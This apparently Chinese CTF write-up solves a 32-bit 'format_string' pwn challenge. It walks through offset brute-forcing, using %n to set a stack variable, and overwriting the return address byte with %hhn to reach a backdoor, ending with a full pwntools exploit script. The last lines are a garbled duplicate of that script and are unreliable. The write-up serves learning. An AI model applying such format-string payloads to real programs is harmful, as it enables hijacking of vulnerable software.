之前通过攻防世界String已经初步了解格式化字符串漏洞的利用原理和利用方式。现在通过这道题精进。
题目名:format_string
提取路径:https://pan.baidu.com/s/1e9I59FhilppS9QIhQWND0A
提取码:F1re
代码审计
checksec一下:
很简单的一道题噢,就只开了NX不可执行不让你shellcode。
扔进IDA观察一下,发现漏洞所在地:是个三十二位程序的格式化字符串漏洞。
程序先泄露了v3的地址,然后有第一个格式化字符串漏洞,如果满足v3=12的话,触发第二个格式化字符串漏洞。
一个后门函数。
利用思路
第一步:
1.首先是需要先将v3的值改为12。这可以利用格式化字符%n实现。
构造方式是v3_addr+%()c%()$n。其中两个括号内的内容是我们需要填入的内容。
首先让我们了解一下%c,%c除了输出字符之外,还可以通过%ac来填充输出内容至a个,用空格在原内容左侧填充。例如:
char a='g';
printf("%4c",a);
以上代码的输出结果就会是" g",其中g前面有三个空格填充总字符至4个。
因此合理利用%c来填充字符。由于p32(v3_addr)占四个字符,要填充至%n前有12个字符来使v3的值被改为12,所以我们构造payload1=p32(v3_addr)+%8c%()$n即可。现在只需确定格式化字符串偏移。
题目限制一:
1.题目读入format和v1时,都限定了长度。这长度限制对于以往的处理方式很致命。
导致的问题有:
①:不能用aaaa-%x-%x…来泄露格式化字符串偏移,因为这样读入的字符数太多。
②:填充字符时不能用aaaaaaa等长串,需要利用%c。
解决办法:
利用%k%x去泄露不同位置的值。直到找到偏移,我比较笨,不会用gdb看偏移。这里我写了一个爆破脚本:通过输入aaaa-以及找到其偏移来确定格式化字符串偏移。
from pwn import *
i=0
while True:
i=i+1
print(i)
r=process('/mnt/hgfs/ubuntu/format_string')
r.recvuntil("\n")
payload1 = 'aaaa-'+'%'+str(i)+'$x'
r.sendline(payload1)
r.recvuntil("-")
message=int(r.recv(8),16)
if message == 0x61616161:
break
else:
r.close()
continue
运行结果:
14
[+] Starting local process '/mnt/hgfs/ubuntu/format_string': pid 8748
[*] Stopped process '/mnt/hgfs/ubuntu/format_string' (pid 8748)
15
[+] Starting local process '/mnt/hgfs/ubuntu/format_string': pid 8750
[*] Stopped process '/mnt/hgfs/ubuntu/format_string' (pid 8750)
zb@ubuntu:~/pwn$
运行到15停止,我们运行程序验证一下:
发现偏移确实是15,那么第一个限制就解决了:
我们构造payload1为:
payload1=p32(v3_addr)+b'%8c%15$n'
第二步:
接下来我们进入了第二个格式化字符串漏洞的利用。这次能输入的长度有20个字符。
首先我们明确一下格式化字符串漏洞能做到什么:
①:任意地址写
②:泄露format参数所在栈里面的内容。
因此我们有如下思路:
①:去修改某个函数的GOT表,让其变成system函数的地址。
②:去改写函数返回地址。
很明显,第二个格式化字符串漏洞利用后程序就会终止,在这之后没有函数可以让我们修改GOT表。
因此我的思路是:
①:要么直接修改函数返回地址为后门地址
②:修改函数返回地址为vuln函数对v3赋值为666这句语句之后的地址,由于我们之前已经改变过v3的值,因此我们不用更改v3都可以再触发第二次格式化字符串漏洞。就这样再来两次格式化字符串漏洞,子子孙孙无穷尽也,直到不断利用格式化字符串漏洞达到我们的目的。
很显然哦,第一种简单的多了,那我们先去找到函数返回地址处于何处。
通过IDA栈图,var_c是v3,而r处于v3_addr+16的位置。
去gdb里面调试验证。
其中0x0804873E确实是call vuln后的返回地址,那我们只用修改这为我们后门函数的地址值就行。
通过相同的脚本爆破
题目限制二:
后门函数要close,怎么办???
解决办法:
当然是直接跳转不close的地址啦
直接跳0x8048793就行啦。
我最初构造的payload2:
payload2=p32(v3_addr+16)+b'%134514569'+b'c%7$n'
这样理论上是可行的。但是我发现发送payload2后系统不停向我发送:
sent b'32'*0xfff
系统一直给我发空格。这是由于print(payload2)的时候要输出134514573个空格,这样发送大量字符会导致服务器卡顿甚至崩溃。
因此我们基本上都采用一个字节一个字节去改地址的方法,也就是采用hhn去改四次。
32位格式化字符串漏洞里pwntools有一个函数:
fmtstr_payload
这个工具原理,实现过程我就不说了,大概就是他会自动帮你构造paylaod,只需你提供
1.偏移量。
2.需要改变的地址。
3.改变后的地址。
他就是通过每个字节每个字节来改变的。
但是这道题显然不行,fmtstr_payload返回的payload太长了,不满足题目的长度限制。
后来去观察了一下返回地址和后门地址只有最后一个字节不同。那我们就只用改最后一个字节就行了。
最后由于小段字节序的原因,返回地址的最后一个字节的地址就为v3_addr+16。
因此我们构造的payload2:(143=0x93-4)
payload2=p32(v3_addr+16)+b'%143'+b'c%7$hhn'
最终exp:
from pwn import *
context.log_level = 'debug'
r=process('/mnt/hgfs/ubuntu/format_string')
r.recvuntil("First step:\n")
v3_addr = int(r.recvline()[:-1],16)
print(hex(v3_addr))
payload1=p32(v3_addr)+b'%8c%15$n'
r.sendline(payload1)
payload2=p32(v3_addr+16)+b'%143'+b'c%7$hhn'
r.recvuntil("nice you enter there\n")
r.sendline(payload2)
r.interactive()
print(hex(v3_addr))
payload1=p32(v3_addr)+b’%8c%15 n ′ r . s e n d l i n e ( p a y l o a d 1 ) p a y l o a d 2 = p 32 ( v 3 a d d r + 16 ) + b ′ n' r.sendline(payload1) payload2=p32(v3_addr+16)+b'%143'+b'c%7 n′r.sendline(payload1)payload2=p32(v3addr+16)+b′hhn’
r.recvuntil(“nice you enter there\n”)
r.sendline(payload2)
r.interactive()